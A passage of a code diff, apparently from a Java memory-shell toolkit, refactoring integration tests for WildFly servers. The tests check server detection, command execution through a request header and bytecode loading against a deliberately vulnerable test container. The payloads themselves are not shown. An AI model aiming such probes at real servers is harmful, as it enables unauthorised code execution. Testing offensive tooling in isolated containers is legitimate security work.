ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -55,20 +53,20 @@ public class Wildfly23ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
+4
-5
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -54,20 +53,20 @@ public class Wildfly30ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V17);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V17);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V17);
|
||||
}
|
||||
}
|
||||
|
||||
+6
-8
@@ -1,10 +1,9 @@
|
||||
package com.reajason.javaweb.integration.probe.wildfly;
|
||||
|
||||
import com.reajason.javaweb.Constants;
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ProbeAssertion;
|
||||
import com.reajason.javaweb.integration.VulTool;
|
||||
import com.reajason.javaweb.integration.probe.DetectionTool;
|
||||
import com.reajason.javaweb.memshell.Server;
|
||||
import lombok.SneakyThrows;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.junit.jupiter.api.Test;
|
||||
@@ -17,9 +16,8 @@ import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warFile;
|
||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||
|
||||
/**
|
||||
@@ -58,20 +56,20 @@ public class Wildfly9ContainerTest {
|
||||
void testServerDetection() {
|
||||
String url = getUrl(container);
|
||||
String data = VulTool.post(url + "/b64", DetectionTool.getServerDetection());
|
||||
assertEquals(Constants.Server.UNDERTOW, data);
|
||||
assertEquals(Server.Undertow, data);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testCommandReqHeaderResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseCommandIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseCommandIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
|
||||
@Test
|
||||
@SneakyThrows
|
||||
void testBytecodeReqParamResponseBody() {
|
||||
String url = getUrl(container);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Constants.Server.UNDERTOW, Opcodes.V1_8);
|
||||
ProbeAssertion.responseBytecodeIsOk(url, Server.Undertow, Opcodes.V1_8);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user